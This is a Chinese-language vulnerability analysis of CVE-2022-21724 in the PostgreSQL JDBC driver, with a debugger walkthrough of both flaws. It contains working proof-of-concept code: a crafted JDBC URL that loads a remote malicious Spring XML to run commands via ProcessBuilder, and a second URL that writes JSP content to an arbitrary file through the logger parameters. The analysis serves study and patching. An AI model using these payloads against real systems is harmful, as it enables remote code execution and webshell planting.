PostgreSQL JDBC Driver RCE(CVE-2022-21724)与任意文件写入漏洞利用与分析

上周在github逛漏洞情报的时候,收刮到PostgreSQL数据库JDBC连接驱动存在一句话就可以利用的poc,立马尝试自主分析 参考:https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4

0x00 前言

在我不清楚这个漏洞的触发原因时,还傻乎乎的先搭建了个PostgreSQL数据库。。。

0x01 RCE 漏洞描述

PostgreSQL JDBC Driver是一个用 Pure Java(Type 4)编写的开源 JDBC 驱动程序,用于 PostgreSQL 本地网络协议中进行通信。

PostgreSQL JDBC Driver(简称 PgJDBC)存在安全漏洞,该漏洞源于pgjdbc连接属性提供的类名实例化插件实例,驱动程序在实例化类之前并不验证类是否实现了预期的接口从而导致远程代码。

影响版本

根据NVD报道:
• < 42.2.25
• >= 42.3.0,< 42.3.2

漏洞分析

首先我们在本地构造一个触发该漏洞的环境,先在pom.xml引入存在漏洞的PostgreSQL依赖

  1. <!-- https://mvnrepository.com/artifact/org.postgresql/postgresql -->
  2. <dependency>
  3. <groupId>org.postgresql</groupId>
  4. <artifactId>postgresql</artifactId>
  5. <version>42.3.0</version>
  6. <dependency>
  7. <dependency>
  8. <groupId>org.springframework</groupId>
  9. <artifactId>spring-context-support</artifactId>
  10. <version>4.1.4.RELEASE</version>
  11. </dependency>

根据前面提到的参考链接,我们构造以下漏洞验证代码

  1. import java.sql.DriverManager;
  2. public class cve_2022_21724 {
  3. public static void main(String[]args)throws Exception{
  4. String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
  5. String socketFactoryArg = "http://127.0.0.1/poc.xml";
  6. String dbUrl = "jdbc:postgresql:///?socketFactory="+socketFactoryClass+"&amp;socketFactoryArg="+socketFactoryArg;
  7. System.out.println(dbUrl);
  8. DriverManager.getConnection(dbUrl);
  9. }
  10. }

在恶意poc.xml文件下填入以下内容

  1. <beans xmlns="http://www.springframework.org/schema/beans"
  2. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  3. xsi:schemaLocation="
  4. http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  5. <bean id="test" class="java.lang.ProcessBuilder">
  6. <constructor-arg value="calc.exe" />
  7. <property name="whatever" value="#{test.start()}"/>
  8. </bean>
  9. </beans>

在此处做断点,先Force Set into强制跟进到java.sql.DriverManager

包中

识别判断出将利用org.postgresql.Driver的jdbc驱动去连接数据库

以下代码处将取出dbUrl中的值重新赋值,并调用makeConnection开始尝试连接数据库

  1. Properties props = new Properties(defaults);
  2. if (info != null) {
  3. Set<String> e = info.stringPropertyNames();
  4. for (String propName : e) {
  5. String propValue = info.getProperty(propName);
  6. if (propValue == null) {
  7. throw new PSQLException(
  8. GT.tr("Properties for the driver contains a non-string value for the key ")
  9. + propName,
  10. PSQLState.UNEXPECTED_ERROR);
  11. }
  12. props.setProperty(propName, propValue);
  13. }
  14. }
  15. // parse URL and add more properties
  16. if ((props = parseURL(url, props)) == null) {
  17. return null;
  18. }
  19. try {
  20. // Setup java.util.logging.Logger using connection properties.
  21. setupLoggerFromProperties(props);
  22. LOGGER.log(Level.FINE, "Connecting with URL: {0}", url);
  23. // Enforce login timeout, if specified, by running the connection
  24. // attempt in a separate thread. If we hit the timeout without the
  25. // connection completing, we abandon the connection attempt in
  26. // the calling thread, but the separate thread will keep trying.
  27. // Eventually, the separate thread will either fail or complete
  28. // the connection; at that point we clean up the connection if
  29. // we managed to establish one after all. See ConnectThread for
  30. // more details.
  31. long timeout = timeout(props);
  32. if (timeout <= 0) {
  33. return makeConnection(url, props);
  34. }

跟进到org.postgresql.jdbc#PgConnection方法中,可以看到将调用org.postgresql.core.ConnectionFactory#openConnection方法,将连接数据库所需要的参数传入

持续跟进,还是一样将所需参数带入到org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl方法中。我们其实也是只需要跟进info就好

再跟进到org.postgresql.core.SocketFactoryFactory#getSocketFactory方法中,可以看到先是取出我们的socketFactorysocketFactoryArg参值,一同带入类似将socketFactory涉及到的类进行实例化的节奏

持续跟进可以看到它先是反射获取我们的指定类,并获取org.springframework.context.support.ClassPathXmlApplicationContext的构造方法,与传入的socketFactory相关参值一同实例化之后即解析远程访问的poc.xml

这里我们跟进org.springframework.context.support.ClassPathXmlApplicationContext的构造方法,在这里会调用其父类AbstractXmlApplicationContext#refresh方法以给定的恶意XML文件中加载定义

  1. public ClassPathXmlApplicationContext(String[] configLocations, boolean refresh, ApplicationContext parent)
  2. throws BeansException {
  3. super(parent);
  4. setConfigLocations(configLocations);
  5. if (refresh) {
  6. refresh();
  7. }
  8. }

我们通过AbstractXmlApplicationContext#refresh方法,持续跟进方法内调用的finishBeanFactoryInitialization(beanFactory)-→org.springframework.beans.factort.support类相关方法操作,可以看到在调用refresh方法开始,已经是对我们传入的poc.xml文件进行加载了

主要调用栈如下:

  1. newInstance:408, Constructor (java.lang.reflect)
  2. instantiate:62, ObjectFactory (org.postgresql.util)
  3. getSocketFactory:39, SocketFactoryFactory (org.postgresql.core)
  4. openConnectionImpl:184, ConnectionFactoryImpl (org.postgresql.core.v3)
  5. openConnection:51, ConnectionFactory (org.postgresql.core)
  6. <init>:225, PgConnection (org.postgresql.jdbc)
  7. makeConnection:466, Driver (org.postgresql)
  8. connect:265, Driver (org.postgresql)
  9. getConnection:664, DriverManager (java.sql)
  10. getConnection:270, DriverManager (java.sql)
  11. main:11, cve_2022_21724 (vultest)

思路总结

造成代码执行原理较为简单,通过存在漏洞的postgresql数据库JDBC驱动,构造socketFactory相关参数利用支持解析并加载xml的类进行实例化之后去解析咱们恶意的poc.xml,以实现RCE

测试远程利用

构建httpserver服务端以接受poc传参,效果如下图

0x02 任意文件写入

影响版本

根据NVD报道:

  • 42.3.x < 42.3.3
  • 42.1.x

漏洞分析

pom.xml可直接利用上面RCE的依赖
poc验证代码如下:

  1. import java.sql.DriverManager;
  2. public class cve_2022_21724_filewrite {
  3. public static void main(String[]args)throws Exception{
  4. String loggerLevel="DEBUG";
  5. String loggerFile="../hack.jsp";
  6. String shellContent="<%25test;%25>";
  7. String dbUrl = "jdbc:postgresql:///?loggerLevel="+loggerLevel+"&amp;loggerFile="+loggerFile+"&amp;"+shellContent;
  8. System.out.println(dbUrl);
  9. DriverManager.getConnection(dbUrl);
  10. }
  11. }

断点分析还是先来到org.postgresql#connect方法中的Connection con = aDriver.driver.connect(url, info);org.postgresql.Driver#connect开始,将提取出传参内容带入到setupLoggerFromProperties方法中

持续跟进该方法,提取判断出loggerLevelDEBUGloggerFile为我们指定的文件名,以创建一个临时文件,准备将日志信息写入到该文件

再完成以上日志操作初始化后,跳出setupLoggerFromProperties方法,会看到LOGGER.log(Level.FINE, "Connecting with URL: {0}", url);这里直接调用java.util.logging#Logger.log方法将URL写入了日志,由于我们写入的是jsp文件,即需要配合<%即可看作是正常写入了jsp代码进该文件。加上前面在日志文件初始化的过程中,因为URL是可控且不受过滤干扰,所以总体下来我们可以实现任意文件写入。

主要调用栈如下:

  1. log:824, Logger (java.util.logging)
  2. connect:253, Driver (org.postgresql)
  3. getConnection:664, DriverManager (java.sql)
  4. getConnection:270, DriverManager (java.sql)
  5. main:13, cve_2022_21724_filewrite (vultest)

思路总结

在利用postgresql的jdbc连接提供的数据源时,会进行日志初始化等操作,我们只需要指定loggerLevelloggerFile即可将jdbc://的URL内容写入指定文件

本地利用效果图

END~

  • 发表于 2022-03-16 14:07:29
  • 阅读 ( 14918 )
  • 分类:漏洞分析

0 条评论

w1nk1
w1nk1

12 篇文章

站长统计